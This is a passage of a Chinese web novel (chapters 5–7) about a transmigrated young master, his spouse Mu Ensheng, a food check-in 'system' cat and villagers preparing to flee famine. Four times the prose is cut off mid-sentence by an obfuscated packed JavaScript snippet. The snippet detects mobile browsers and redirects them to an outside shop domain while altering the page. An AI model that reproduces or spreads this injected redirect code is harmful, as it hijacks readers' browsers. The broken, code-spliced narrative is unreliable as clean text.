顾珉却不知这些,更不了解潮热期的厉害,毕竟原主从未碰过木恩生,自己也是个懵懂未经世事的雏儿,所以哪怕被老村长厌弃,他也坚定了自己的想法。 不过想要借到纸笔并不是件容易的事,这个村里大部分人对他的身份都很有意见,根本不待见他。 顾珉只能叹了口气,回到李阿婆家,敲响了院门。 “你又来干啥?自己一个人活不成了是不是?”李阿婆很是嫌弃,觉得顾珉大抵是想木哥儿继续照顾他,所以才这样死乞白赖地找上来。 顾珉摸了摸鼻子,却还是郑重道:“能不能让我见见他?” 起码得问清楚他到底是怎么想的,要怎么选择,无论结果如何,顾珉都尊重他。 李阿婆想装傻说见谁,可身后忽然有人点了点她的后背,一回头,就看到木哥儿手里提着一个包袱,里面散发着热气和淡淡的饼香,是他摊了一上午的饼子,竟然全都装了进去。 李阿婆恨其不争地瞪他一眼,将饼子夺过去丢给门外的顾珉,“给你,别来了!” 顾珉连忙接过,看到里面是什么,心情顿时有些复杂和感动,没想到这个人那么良善,原主对他那么糟糕,他还记挂着自己,或许是原主娘亲曾经救了他,他想报了恩情。 不管怎么样,顾珉抱着包袱倒在了地上。 刚离开几步的木恩生听到外面“噗通”一声的动静,忙要过去,李阿婆却人老成精,抓着他。 “别去,保准是装的!” 装晕的顾珉整张俊脸都烧了起来,都快能煮熟鸡蛋了,第一次做这种事,好羞耻。 “不会的,他从不屑在我面前装。”木恩生也很笃定,开门走了出去。 顾珉却更愧疚了起来,表现在脸上,木恩生吓了一跳,“少爷的脸怎么这么红?好烫,是发热了吗?” 顾珉,“……”顾珉憋着一口大气,觉得自己肺活量很差,快要窒息了。 这时,木恩生将他抱了起来,顾珉的脸被动地埋在他胸口,瞬间悄悄吐了一口气。 他以为自己做得悄无声息,木恩生却脚步顿了一下,低头看向整只耳朵都红起来,连带着耳后那片白皙肌肤都泛着粉色的顾珉。 少爷他…… 木恩生抿着唇将人放在床上,就要离开,却猛地被扣住手腕,一转头,就对上一双明亮有神的漆黑眸子。 “我们谈谈。” 木恩生恭敬地垂下眼睛,恢复了以往的姿态,“少爷有什么吩咐,只管说便是。” “我没吩咐,想听你有什么吩咐,能让你原谅我。”顾珉坐了起来,开门见山,原主是很不好,可他不是原主,所以他想试试。 木恩生惊讶地抬头,可随即想到这可能是少爷的新把戏,他又低下眉眼,郑重地做了个决定。 “等我将少爷送回顾家的队伍,少爷不要再捉弄了我好不好?”他也是人,虽然是听从夫人的嘱托,照顾保护少爷,也从不敢投入什么感情。 可就是把他当成自己的主子,被那样屡次三番的作弄,他也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478976|201639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会受伤难受。 “对不起,我刚才不是……我只是想见你,我不知道你为什么会突然躲着我……”顾珉愧疚难当,胡乱解释了几句,最后才冷静下来。 “好,等找到顾家人,我给你一封和离书。”顾珉听明白了他的意思,自己做什么,他都会不安误会他又想故技重施,他想要平静和自由,那么和离书就是最好的安排。 和离书?以前少爷只想给他休书的,写了无数封,都被夫人打了回去,不过没了这层关系,少爷想必也不会再刁难自己…… “好,谢谢少爷!”木恩生本来也不放心将他直接丢在这里,以少爷的心性,肯定会有个好歹,他觉得对不住夫人。 见状,顾珉立马将自己跟村长他们说的事告诉了他,然后道。 “顾家车队都是马车,我们一时半会可能追不上,我的身体也经不住这种高强度的颠簸追赶,会不会跟他们走岔路也不清楚,只能在他们定下的几个重要休息点看看能不能遇上他们。” 顾家车队跟这些逃荒的百姓不同,都是正经办了路引出发的,不会像流民那样被驱赶拒绝入城,所以他们选了一些地方用作中途歇脚休整、更换车驾马匹等事宜。 这也是考虑到了原主的身体不好,不能长时间赶路,所以还安排了去医馆看病调养一类。 只是原先想得好好的,在路上被抢劫遇险几回,他们就把保命放在了头一条,根本没有享受的资格和条件了。 “到时候可能要麻烦你扮作我的夫郎,让村长他们放心。”顾珉红着脸轻咳一声,可想到顾家那些人很是不放心,嘴毒心软的二娘和一对可爱调皮的龙凤胎弟妹,还有曾经对原主忠心耿耿的下人…… 他们跟庶兄白月光还有爱折腾的顾老太太等人在一起,还不知会因为他遇到什么麻烦和危险。 他必须得替原主承担起这份责任,照顾好他的家人,那么势必得跟着大坡村的逃荒队伍出发,在自己身体能承受的情况下,尽快追上顾家人。 “可以吗,如果你不愿意……” “是,我会听从少爷安排。”不过是这一路而已,他还能忍下来,木恩生已经做好了心理准备。 顾珉还是觉得自己在勉强他人,所以他拿出了那一两银子和几十文铜钱。 “不知够不够用,你去镇上看看能不能买一点纸笔和墨块,不需要多好。”够他随时写和离书就行。 如若木恩生在他身边待得不舒服,什么时候想要离开,那自己就写好和离书送给他好了。 “纸笔?”木恩生确实诧异得不轻,少爷最厌烦的是什么,一个是他,另一个就是文房四宝笔墨纸砚了,他不喜读书,看到这些东西就心生抵触,每次都会将书房砸得稀巴烂。 所以学识也一窍不通,还经常被拿来跟顾骞这个庶少爷做对比,回回都被贬到泥底去,尤其在庶少爷考取童生之后,老爷眼里更是看不到少爷这个嫡出的儿子,满心眼里都是庶长子。 “如果还剩,能买些盐巴和糖块回来就更好了。”说到这里,顾珉瞬间严肃起来,是时候要想办法准备物资了,这样才好踏上逃荒求生的路。 顾珉又拿出两百文铜钱,“这些东西都不管质量如何,能多买就多买!” 也不知这快沦为三不管地界的边关地带会不会限购盐和糖,但这点钱,顾珉猜测也买不到多少这种精贵的物事,尤其以当前膨胀的物价。 5. 举村逃荒5系统现 顾珉一打开门,就看到李阿婆正以一种夸张的姿势趴在门上,好悬跌了进来。 他忙扶住老人家,“您没事吧?” 偷听他俩说话的李阿婆见他脸上并无讽刺不悦的神色,这才哼了一声,一把拉过木恩生说小话。 “你咋想的,咋又跟他搅和在了一起?上来就使唤你做这个做那个,亏你也能忍下来!”李阿婆像是很看不惯哥儿受欺负压迫似的,忿忿不平。 “没事,这是我曾经对夫人的承诺,将他送回顾家,我们就一刀两断了。”木恩生觉得浑身轻松,好似即将要甩掉一个沉重包袱。 可能也跟少爷现在变得非常好说话有关,许久没发脾气,声音也温和清润得不像记忆里那个面目扭曲蛮横的少爷,甚至让他感到一丝如沐春风般的自在。 “不过他为啥要买盐巴糖块,我家中还有好些,别费这个钱了!”李阿婆很是大方,就要分一些给他们。 木恩生自然不收,但他想到顾珉的话,“少爷说人要吃盐,否则路上会乏力浮肿走不动路,也要及时补糖,才不会头晕眼花低血糖,携带起来也更方便,您把这些东西收好了,都是救命的。” 说完,木恩生就赶紧去镇上,他没想到少爷会说出不要质量的话,还说要尽快,否则就买不到,价钱也更贵了,一切都显得有些不真实的蹊跷。 顾珉也走出了李阿婆家,可举目四望,大西北的黄沙扑面而来,满目都是低矮的黄土土坡,没有半点绿色,更别提能吃的东西。 他蹲在一块干涸的菜地跟前,“难怪大家都要逃荒,再待下去,家中储存的粮食见底,是真的活不下去了。” “叮,检测到宿主偷懒,两天没有及时打卡,生命值-1!” 顾珉一个踉跄,险些栽在梆硬开裂的菜地里。 “999,你怎么也来了?”这是纠缠他到死也不放过,还跟来了这鸟不拉屎的地方。 “检测到宿主忘记签到打卡,这是第一次警告。” “不要这么严肃,我有些不习惯,你也跟这具身体一样换了芯子了吗?”顾珉想到999之前被升级几次,每次升级之后都跟不认识他一样,越来越人机。 虽然它本就是个外星际产物,投放到他身边来,就是为了记录人间美食,每次记录都会给他增加一些生命值,但两人相伴多年,一起见证享用美食,早已有了不一样的革命友谊。 “宿主,不要偷懒啦,你的生命值不够扣,再扣两下,就要嗝屁了!”999蔫吧道,它也快饿死了。 顾珉一摊手,声音有丝见到老友的轻快,“我不知道你来了,你看这周围,有什么可以打卡的地方,有我也没钱买下来,吃不到嘴里没办法。” “宿主可以开启溯源模式,还原打卡地之前的模样,再制作成美食即可。”这好像对系统来说不过是一件小事。 “宿主之前在现代习惯了衣来伸手饭来张口、美食直接烹饪而成的便捷生活,所以忘了本系统有很多模式,只要能打卡记录到美食,本系统也可做相应辅助。”999颇为骄傲道。 随即就向顾珉展示了它的技能,只见顾珉跟前原本还光秃秃的菜地冒出一茬绿油油却很磕碜的韭菜。 “就一茬?还不够烧盘菜的。”顾珉按捺住激动,以为能溯源出更多蔬菜。 谁知999摆烂道:“由于本系统快要饿死,只能溯源到近期打卡地的状态,如果能量足够,或许可以溯源到更久之前的模样,但能量是有限的,打卡地却是无限的,宿主可以通过寻找更有可能有多物资的打卡地进行打卡。本系统溯源之后,宿主将食材烹饪成美食,本系统食用了即可获得更多能量,打卡正式完成,宿主也可得到一个点的生命值。” 一个点的生命值,也就是多一天的生命。 跟现代那种模式大差不差,打卡流程也不是在美食所在地点一下签到就结束的,而是要享用到美食才行,顾珉还没感受到系统的强大,就看到他又要多一个人口在嗷嗷张着嘴等着吃饭的残酷事实。 “你,不能吃点电池吗?”顾珉为难道。 999跳脚,“我是吃货签到系统,我不亲自品尝美食,怎么做进一步的详细记录,我的底层运行逻辑就是要吃,吃好吃的,吃各种好吃的,一天不吃我就要饿瘪了,几天不吃我就能升天了!” 顾珉满脑子都是“吃吃吃”,晕乎乎地拔了那茬韭菜站起来,“我去给你弄吃的。” 999立马变成一只通体雪白的小猫咪,蹭了蹭他的腿,“这还差不多,等我吃好了,你就能吃饱了。” “不过在我做吃的给你之前,你再去溯源一下吧,否则一只猫都能吃上饭,人吃不上饭,就会有人想吃你的猫肉。”顾珉笑眯眯道。 999浑身的猫毛都竖立了起来,最后被顾珉引到李阿婆家屋后头一棵枝节遒劲又杂又多的老槐树下。 “你怎么知道这棵槐树近期有东西?” “我看到李阿婆晒的槐花了,是今年新收的,还挺多的。”说着,他就有些犹豫道。 “这么溯源,肯定会被人发现蹊跷,下次得掩人耳目了。”不过顾珉倒不担心李阿婆,因为那位老人家挺迷信的,屋子里还放了小人偶,类似电视剧里那种扎小人的人偶,不过她那个小人被保护得很好,还用花布给做了衣裳。 除此之外,简陋的屋子里放了一张精巧的长案,上面摆放了一个擦得锃亮的长生牌,顾珉没敢多看,虽然他还是捕捉到了“玉清”两个字。 所以等999一番溯源,力竭了肚皮朝天瘫在地上的时候,顾珉立马惊奇地跑了回去。 “李阿婆,李阿婆,你快去看,后面的树,后面树开花了!” “什么玩意,咋咋呼呼的。”李阿婆看他很是不惯,可还是被激动的顾珉给拉到了屋后头,然后一下子瞪大了那双闪烁着精明的老眼。 “我滴娘嘞,老槐树,老槐树咋开花了,槐花苞不都被我摘完了吗?” 顾珉倒打一耙,“李阿婆,你家这槐树是不是有古怪,不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478977|201639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是见鬼了吧?” “去去去,不是见鬼!是玉清,玉清知道老婆子我就好这一口,往年一到四五月,就早早去给我打槐花,现下知道老婆子要离开了,就立马给我变一树槐花,他这是惦记着我,想让我多带点吃的上路呢!”李阿婆眼角湿润,趁着顾珉不注意,用袖角抹了抹。 “快!赶紧的,别叫人发现了,玉清送给我的槐花,可不能便宜了外人。”李阿婆推了他一把,“把我搁在门后头的竹竿还有镰刀拿来。” “好!”顾珉勾唇,顺便还多拿了个篮子和木盆。 “算你小子有眼力见。”李阿婆将镰刀绑在竹竿上,就开始打起了槐花,她一手拿着竹竿去够槐花枝,一手飞快地薅着那一咕噜一咕噜的槐花和花苞,然后用木盆接住。 雪白的槐花馥郁清香,攒在一起满满的一串又一串,几乎占满了整个枝头,从青色的苞,到白色的苞,再到彻底绽放开吐出花蕊的槐花,每一种都能吃,各有各的好吃。 顾珉拿着篮子有样学样,嗅了嗅那槐花的香气,又摘了花苞送到嘴里,顿时眼前一亮,“好甜!” “甜吧,玉清给我老婆子的都是最好的,你别在底下摘了,爬上去,把上面的枝头打下来,那槐花多的都快把树枝给坠断了。”李阿婆着急,她怕有人注意到她家这棵槐树,到时候过来哄抢。 “我不会爬树。”顾珉看了看自己瘦条条的身板,怎么也不像会爬树的样子。 “你个没用的臭小子!”李阿婆放下木盆,往手心里呸呸吐了两口,就跟个灵活的猴子似的,抱着树干蹭蹭三两下就爬上了槐树。 顾珉张口结舌,找李阿婆帮忙果然是明智的决定! “您小心点,我在下面给您接应。”他干脆搬了个小凳子,将李阿婆割下来的枝条上的槐花撸下来,不一会就装满了一整个篮子。 李阿婆看他优哉游哉地干活,不禁咬牙,“果然是个少爷!” 两人紧赶慢赶忙活了一个多时辰的时候,木恩生也用最快的速度赶到了驼峰镇上。 打听了一下,先奔往那唯一一家的诚心书铺。 “别抢了!我这里真没什么玩意,又不当吃又不当喝的,你们抢这些有什么用!”诚心书铺的掌柜看着往他铺子里闯的人,急得直拍大腿。 可任他脸红脖子粗,一个地方的秩序一旦被打破,不管有没有心思抢东西的人,都会在周围人的带动下,陷入哄抢情绪,反正法不责众,官府也管不过来了,别的人都在抢,他们不抢,岂不是亏了! 木恩生蹙了下好看的峻峭眉峰,刚愣了下神,一个怀里抱满书籍的男人就要撞过来。 哥儿身形敏捷又凌厉,轻巧转了半圈,就避了过去,那男人也以为自己会撞到人,还讶异了一下。 不想,对方在这种紧急避险的情况下,还有余力一把扣住他的肩膀,然后一个巧劲,嘭地一声,将他掼在了地上! 场上刷地一静,尤其那些刚跑出来的人,看到这一幕都被吓得不敢往前。 6. 举村逃荒6囤物资 木恩生想到一个主意,“掌柜的,我帮你赶走这些人,你待会便宜点卖我纸笔?” 掌柜如若看到救星,兴奋得直呼:“便宜便宜!我不要钱送你一些,快,快把他们都赶跑!” 他决计想不到这个三两下就将这一帮穷凶极恶的百姓打趴下吓跑,还将他铺子里东西讨回来的人会是个哥儿,殷勤地倒了杯茶水送过去。 “壮士,不知你家住何处,有没有意向离开绥州,我想雇佣你,到时候护送我们一家前往靖城,这儿真是越来越乱,半点待不下去了啊!”若不是实在难以生存,他又怎么会拖家带口地离开从小长大的家乡。 何况这里有他们祖辈几代打下的基业,要真离开了,得割舍多少利益。 徐掌柜痛心疾首,却还是下了决心,总比什么时候忽然出个事曝尸街头来的好。 “我有要保护的人。”木恩生低着头挑着各式各样的纸笔,像是全部心神都在这些纸笔上一样。 “你真不考虑一下吗,我们可以一起同行,报酬可以谈。”徐掌柜觉得这壮汉很有安全感,甚至不想放他走了,生怕待会又遭到劫掠。 “我只想保护他。”木恩生挑好了纸笔,“这要多少钱?” 徐掌柜只得不甘,“你拿的这些都很便宜,我再给你添一些不错的,不用给钱,万望路上要是有缘能碰见,壮士能搭一把手相助!” 说着,徐掌柜都隐隐有些绝望,好像完全能想象路上会遇到多少危险一样,这也是他们许多人为什么没有尽快离开绥州的原因之一。 这世道,哪哪儿都不安全了,梁国还在另一边大肆攻打丰朝,就是想趁着陛下危重朝廷内乱之际,趁机攻城略地抢占粮食资源。 木恩生犹豫了一下,“在不影响保护那个人的情况下,我会帮忙。” 他实在拒绝不了徐掌柜给的这些纸笔,哪怕他一窍不通,也能看出这几样有多好,他想,少爷就该用最好的,买是买不起了,只能许下这个不一定能够兑现的承诺。 “好好,有壮士这句话我就放心了!”徐掌柜却很激动,还客气地亲自将他送出去。 木恩生从他这里问到杂货铺所在,就马不停蹄赶到了那里,发现这边好几家铺子门前都有要么手持竹扫帚,要么拿着砍刀棍棒的人凶狠地瞪着路上来往的行人。 是吓跑了一些想要滋事的人,却也惹得一些真正想买东西的百姓不敢靠近了。 木恩生若无其事地走进去,一问糖和盐的价钱,他就想立马转头走人。 “哎,这位兄台,这糖和盐就我们这儿卖了,你去别地也买不到了。”店铺伙计双手环胸,“这个价钱已经很合理了,你还想怎么挑?” 看到刚才守在门口的人将门堵住,警告又戏谑地看着他,木恩生眉眼冷了下来,“你们这不是卖东西,你们这是在抢钱!” “就是抢钱了,你说怎么着……” 结果这傲慢得意的话还没说完,人就被一股力道踹飞了出去,“啊!你……”一口血狠狠吐了出来,止住了他想说的话。 “你们抢钱,那我就抢东西。”木恩生也来了脾气,抓起一旁的布袋,就开始疯狂装起了东西。 也不看那是什么了,糖盐装的最多,还有蜡烛饴糖烧酒针线什么的,他都一股脑地装。 “你——你敢!快拦住他,竟敢抢到我们东家头上来了,快把他乱棍打死!”伙计一边痛苦地在地上爬着,一边急道。 最后他们一群人围上去,连木恩生的一片衣角都没碰到,就眼睁睁看着他装够了东西,轻飘飘地离开了。 “没想到这一两多这么经花。”木恩生拎着满满两手的东西,想着要是带少爷离开的话,是不是得备上一辆豪华舒适的马车。 “也不知这钱够不够买辆木板车,少爷不一定愿意坐木板车上。”刚才还游刃有余的哥儿有些头疼起来。 这时,他眼角忽然掠过一道眼熟的东西,他怔了怔,倒退好几步,走进这间铺子。 “这位客官,您是要买衣服吗,您这一身确实有些破旧了,我给您拿一身相似的?”掌柜热情地张罗。 “不用拿,这件衣服……”木恩生目光复杂地看着这一身不久前还穿在少爷身上的蓝白色丝质罩衫直裰,这是少爷最喜欢的一件,也是夫人生前给他置办的最后一身,他一直宝贝得很。 没想到他就这么卖了,联想到当时他突然有了银子又换了身衣服的场景,木恩生想不到别的。 见他一直盯着那套衣服,掌柜就有些得意,他花四两银子买下来简直太正确了,这几天就吸引了好几波客人进来买衣服,虽然最后都买不起这件,倒是让他卖出了别的。 所以他特地把这套挂在最显眼的地方,这不,又进来了几人。 “这位贵哥儿,您有什么想买的?”掌柜认出对方是谁,立马将木恩生丢在一边。 这个穿着打扮都很娇艳明媚的哥儿,也一眼就被这套直裰给吸引了,声音也轻软甜丝丝的,“好漂亮的衣服!” “我这就给您拿下来试试!”掌柜忙道,他知道对方肯定是能买得起的。 “不用了,直接给我包了,我是穿不上啦,我想买给我未来的夫君穿。”哥儿喜滋滋道,“他穿上去一定会很俊美出尘。” 一旁的丫鬟和奴仆都惊呆了,“公子,你什么时候有夫君了?”他们怎么不知道? “闻香识人你们没听过吗,这件衣服实在太风雅飘逸了,穿上去的人行动间隐有华光流动,一定像那天上谪仙般龙章凤姿,风度翩翩,我以后就凭着这套衣服挑选我未来的夫君人选了!” 几人恍然,忙不迭夸赞自家小公子聪明,找夫君一定要找自己入得了眼的,没想到公子夫君没找到,倒是相中了衣服,也不知他另立独行,还是奇思妙想了。 木恩生听着他们对话,拳头捏紧,心里隐隐有股不舒服,这件衣服是少爷量身定做的,除了少爷,谁还能将这件衣服穿出风采。 先前木恩生都没注意到少爷穿这衣服是什么感觉,但那天,他在笼子前停下,第一次主动离他那么近,又朝他伸出手来,这件衣服在他身上好像都生动明晰了起来。 他也不知自己怎么想的,在掌柜欣喜地要将衣服包起来时,一把抓住他。 “这衣服多少钱,我要买。” 掌柜一愣,看了看木恩生,有些为难道:“这位客官,您穿这身衣服略显紧绷了点,尤其胸口的位置,你穿起来肯定不舒服。” 木恩生有些局促地看了看自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478978|201639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的身材,他确实块头很大,根本不像个哥儿,被掌柜这么直接地提醒,他好像平白矮了一头。 “不,不是我穿……” “我加二十两银子,抱歉啊,这件衣服我一定要拿到,否则我有预感,我会找不到夫君的。”一旁的公子哥儿见状,忍不住说话,声音一点都不盛气凌人,听起来像是撒娇一般。 木恩生愣愣,看着这个漂亮得跟殷哥儿有得一拼的哥儿,心口莫名一紧,突然觉得他跟少爷很配。 他也正是少爷喜欢的那一款。 “对不起啊,你不要生气,我碰到喜欢的,是一定要争取来的。”漂亮哥儿有些惊讶这个壮实的男人竟然也是个哥儿,但语气还是很客气。 可那股张扬自信的底气,还是让木恩生不敢直视地垂下了眼眸,眼睁睁看着他把衣服买走。 “嘿嘿,四两银子竟然卖了五十两,太划算了,那位少爷要是多来几趟就好了!”掌柜嘀咕着。 木恩生耳力很好,还是听到了,那么上乘极品的衣服,竟然只卖了四两,不是急着出手换钱的情况下,又怎么会…… 以少爷的脾性,一百两都不会卖的,可他还是卖了,身上仅剩的一点银钱也花在了他身上给了他。 “那个哥儿,叫什么名字?”木恩生呼吸有些急促起来。 “干嘛,你要把衣服抢过来啊,我是知道那件衣服很好看,但你可不能做傻事,他可是县令家的小哥儿,听说下一届皇子选妃,还点了他呢。” 后面他说了什么,木恩生已经听不见了,他走了出去,神色暗淡无光,也没心思再买其他东西。 “弄了一手的汁儿!”大坡村村东头,李阿婆大汗淋漓,却摘得很痛快,看着被薅得光秃秃的槐树,甚是满意地点了点头。 “所幸您这屋子在村子的最边缘,并不怎么引人注目,没人过来跟您抢。”顾珉笑道。 “不成,这么多槐花就算晒干了腌渍了也不好全带到路上,你拨一半过去,再把我这部分分一些给村里人。”李阿婆做了个慎重的决定。 “他们不会觉得奇怪吗,这个时节会有槐花。”顾珉到底做贼心虚,不想做这么冒险的事。 “天生异象,三年不下雨,槐花出现有啥稀奇的,他们要问就说是我家玉清显灵了,前个儿高老汉家还在旱地里挖出一筐红薯呢。”李阿婆不以为然。 “您去送吧,这个人情毕竟是您的。”顾珉有些顾虑,一来,随便做好事是有代价的,尤其他身上的“富家少爷”身份,很容易让别人当成理所当然,进而加大索取。 再者,他到底比不得李阿婆是这个村子里的老人,不想跟不该出现的槐花挂上钩。 “让你送你就送,哪来那么多废话!”李阿婆将槐花一篮子一篮子地装回去,“就说是你跟木哥儿给的。” 顾珉一愣,李阿婆这么做,不会是想让他和木恩生迅速融入这个村子吧?毕竟那些村民确实看他很不顺眼,对木恩生也有些异样的眼光。 李阿婆看着他提着篮子离开的清瘦颀长身影,嘴角略扬,“倒是挺乖。” 顾珉却没有完全按照李阿婆说的做,他提了自己跟木恩生,却也说了这是李阿婆的意思。 最重要的,他不白给! 7. 举村逃荒7做买卖 顾珉站在篱笆外喊了两声,得到回应后,规矩地走进一户农家院中。 “大娘,李阿婆带着我跟我夫郎在外摘了些槐花,不知你们要不要,能否换点东西?不拘是什么,吃的用的都可以。” “好新鲜的槐花,哪里摘的,这么多!”大娘上手抓了抓,又闻了闻,喜欢得不行,眼睛都挪不开了。 “一篮子槐花换两个红薯,或者火折子燧石水囊什么的,你们家里多的不用的都可以拿出来看看。” “正好我家在做厚面炊饼,我给你拿两个,这吃食带到路上不会坏,还耐吃,你再给我装一篮子槐花来,我给你三张饼成不?” 夏大娘心里快速计算着,一篮子槐花有好几斤,一斤就能炒一盘菜,够两三个人吃顿新鲜的。 这绝对是稳赚不赔的买卖! “成。”本着原先是吃不掉带不走白送的心态,多得的东西都是赚来的,顾珉很是爽快。 落在这大娘眼里,就是对这个村里传的矫情脆弱的富家少爷印象都好了些。 要不是这炊饼还要留到路上吃,她都想多换一些了。 李阿婆也在家中忙着用槐花做几道菜,她诧异地看着顾珉来来回回好几趟,倒是将成堆的槐花送出去不少,但也带了不少零零碎碎的东西回来。 “麻绳,猪尿泡,腌菜,炒粟米,火折子,蓑衣,还有烂袄子,上了锈的旧柴刀,干红椒……你这是干啥去了?” 顾珉坐在椅子上气喘吁吁,嘴唇都变得更紫了些,他也觉得送的差不多了,可以歇一下了。 “我用槐花跟他们换的东西,想着我和木恩生或许会用上,有备无患。”说完,他就没力气了,闭目养神。 不知过去多久,一阵浓郁的槐花菜香徐徐飘来,999期待,顾珉需要打卡的美食被李阿婆捯饬了出来。 “可累死我个老婆子了,下次绝对不做了,又要焯水又要捻揉的,要不是玉清,我才不费这个劲!”李阿婆嘴上嫌弃,将菜端出来的时候,却忍不住得意,觑着顾珉的反应。 “你们这种富家少爷,肯定没吃过这么好的!” 第一道就是槐花炒韭菜,光看色泽就知李阿婆厨艺很好,将槐花和韭菜的翠绿和鲜亮都保留了下来,香气氤氲,看着就很可口下饭。 999立马在旁边“喵”了一声,差点流了口水。 “哪来的大肥猫?”李阿婆瞥了一眼。 “我这是毛长不是胖!”999抗议,可惜李阿婆只能听到它急得喵喵叫。 “跟你一样娇气。” 顾珉无辜受累,却蹙了蹙眉,看向外面渐渐暗下来的天色,“他怎么还没回来,不会出了什么事吧?” 第二道是槐花炒蛋,蛋还放得不少,金黄裹着白绿的花苞,蛋香扑鼻,999的小猫爪子已经想去挠了。 被顾珉拍了下去,“做猫也要守规矩,何况人还没回来呢。” “天呐,你饿死我算了,以前只有我们两个的时候,你从来没这么虐待过我!” “不听话的话,以后只有更多的虐待。”顾珉一双清亮黑眸盯着外边,像是能把木恩生盯出来一样。 第三道是加了油和面粉裹出来的蒸槐花,拌上葱花和红辣椒,自带清香的味道,顾珉干了那么久的活,也着实饿了。 但他还是等不及地起身,拿起地上那把上了锈的柴刀,“我出去看看!” “哎,还没到时间呢!”李阿婆倒也没阻拦他,知道担心夫郎了,也不算太坏。 “人啊,只有在失去之后才懂得珍惜。” 她觉得顾珉的变化很可能是因为这个,再加上只有木哥儿陪在他身边,他那一家人都不要他了,软弱无能的富家少爷会害怕,会寻求依靠,变得安分一点,实在太正常不过。 虽然怨念很大,但999还是跟了出来,却像在散步一样,这也嗅嗅,那也闻闻,新奇极了。 “都怪我,明知道镇子上那么乱,还让他一个哥儿去外面买东西。”顾珉自责不已,眼眸越来越深。 他还是下意识把对方当成了一个脑子里刻板印象的男人,还是壮年男人,虽然哥儿本质就是男人,但社会上的弱势地位和习性传统还是让他们被归为容易受欺负的一方。 顾珉恨不得小跑起来,心口部位却拉扯着疼,刚要揉一揉。 “少爷?”木恩生低哑落寞的声音在前方不远处响起,随即染上一丝紧张,“你没事吧?” “是你没事吧?怎么这会儿才回来!”顾珉忙走过去,上上下下打量他,“有没有人欺负你,没受伤吧?” 木恩生怔怔地看着皱眉仔细打量他的顾珉,他好像很担心,还忍不住上手检查了一下。 他忙退后一步,面颊生热,“少爷,男男授受不亲。” 顾珉,“……”他又忘了,但好像没什么区别呢。 “回去吧,李阿婆做了槐花宴,我们在等着你回来吃饭。”顾珉见他无碍放松了下来,甚至都没注意木恩生带回来的东西,直到到了李阿婆家门口。 “咦,你从哪借的板车?一两多能买这么多东西吗?”几乎将整辆两米长大半米宽的板车都给堆满了,看着份量很是不轻。 木恩生这才从顾珉对他的异样中回过神,有些紧绷心虚地垂了垂眸,“捡的。” “捡的?”顾珉发现他一点都不擅长撒谎,眼神都飘忽了起来。 “好了,杵在外面干啥呢,赶紧回来吃饭!”等在门口的李阿婆见他们回来,连忙招呼。 顾珉弯身就要将东西拎进去,木恩生却自己三两下,就连那满满一整麻袋的沉甸甸之物都直接拎了进去。 看到桌子上又多了一道凉拌槐花和槐花疙瘩汤,顾珉有些不好意思,“阿婆,我跟夫郎留在你家,会不会太麻烦你了?” “你这个时候说这话是不是太晚了?”李阿婆轻哼,“让他自己吃饭,他又不是没手没脚!” 顾珉一愣,扭头这才发现,自己说话的功夫,木恩生站在边上,已经给他不声不响地布好了菜。 疙瘩汤单独盛在一个小碗里凉着,放着一个瓷勺,其他的菜都夹了一些放在盘子上,并没有挨挤在一起,影响各自的风味,摆放得很是整齐漂亮。 知道他为什么做这些事,顾珉直接拉住他,“坐下,我们一起吃。” “不……”木恩生一惊,本能觉得不行,甚至隐隐有些防备他要做什么。 一只指节如玉的手却突然从他后背环过来,压着他跃跃欲起的肩头,轻轻拍了拍,“没事,吃吧。” 木恩生瞬间僵住,坐在板凳上一动不敢动,离得那么近,他甚至能闻到顾珉身上浸润了一丝之前没有的花香,是槐花的香气,他居然不嫌弃愿意碰自己,木恩生只觉坐立不安。 以为他随时会发飙给自己一巴掌,结果却看见顾珉夹了菜给他,然后温和地对他笑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478979|201639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “多吃点,今天辛苦你了,我忘了镇上很危险,以后不会让你一个人单独出门了。”顾珉真诚地道歉,眼眸里毫无阴恻恻的凶光,在烛火下是那样明亮动人,柔软认真。 